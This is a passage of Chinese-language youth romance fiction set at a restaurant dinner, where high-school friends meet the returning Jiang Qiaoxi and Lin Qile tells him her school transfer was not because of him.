“写信写到一半,让他妈发现了,在家里闹,撕书,前后左右邻居都听见了,”蒋政眨了眨眼,苦笑起来,手扶着酒杯,“我也不知道写了什么,反正就听梁虹飞在那生气。孩子,没有叫人省心的。” “所以我今天才不想让他过来。”蒋经理道,接着举起酒杯来。 酒过三巡,已经是夜里八点钟了。 余班长一身酒气道:“余樵,你和樱桃几个,你们去外面要点儿面食!” 林樱桃抱着怀里的猫,和余樵一块儿往外走。杜尚从旁边问:“这真是南校的流浪猫?这猫够胖的啊——” 是蔡方元先说:“哟,来啦!” 余樵抬起头。 在酒店门口,不知何时站了个说不上陌生,但也确实不太熟悉了的人。 蒋峤西看上去刚下课不久,他背着书包,穿着件灰黑色的T恤,孤零零一个人站在那里。 林其乐看见他,怀里的猫忽然“喵”地轻唤了声。 “你,”杜尚结巴道,十分意外,“你怎么来了?” 余樵问:“你吃晚饭了吗?” 蒋峤西看向自己小学同桌,他摇了摇头。 余樵拍林其乐的背:“走吧,点菜去。” 一行五个高中生,站在摆满了鱼缸的一面墙前头,墙上印着花花绿绿的菜谱。 林其乐原本在蔡方元身边,她专心看样菜的照片,专心听鱼缸里氧气泵工作的动静,专心抱着自己的小猫。蔡方元突然去余樵那边儿点菜了。 蒋峤西就站到了她身边。 林其乐的呼吸都停了。 “你高二要回本校?” 蒋峤西忽然问。 他的声音变了,变得陌生,变得比起小时候,更像是“大人”。 林其乐嗓子里发不出声音。她点头。 “分到几班?”蒋峤西追问。 林其乐摇头,她不知道。 余樵把菜连面食都点完了,他要走了,林其乐想赶快跟上去,忽然蒋峤西在背后叫她:“林其乐!” 林其乐停在原地。 刚刚还沉默等在门口的一个大小伙子,忽然大声喊话。周围许多人都安静了,都看他。 蒋峤西慢慢走回到林其乐面前。他肤色雪白,更衬得眼眸深黑,显得这个人永远是黑白色调的。林其乐抬起头,看蒋峤西的脸。 蒋峤西也低头看她,他的眉头微微蹙起来了,额发垂下来,半掩住眼睛,他的嘴唇抿着。 仿佛他还有话想问,他还没问完呢。 林其乐却不想再回答了,她想往前走,蒋峤西背着书包,站在原地不动。 林其乐仰起头。 “我想,想和你说一件事。”林其乐忽然说。 “你说。”蒋峤西说。 “我不是为了你才来省城的。”林其乐看着他。 远处传来余叔叔他们干杯的笑声。 “我也不是,因为你才转去本校的。”林其乐说。 幼小的猫咪在她怀里,冲蒋峤西“喵喵”地叫。他却无法伸手去抱它。 蒋峤西低头看着她:“我知道。”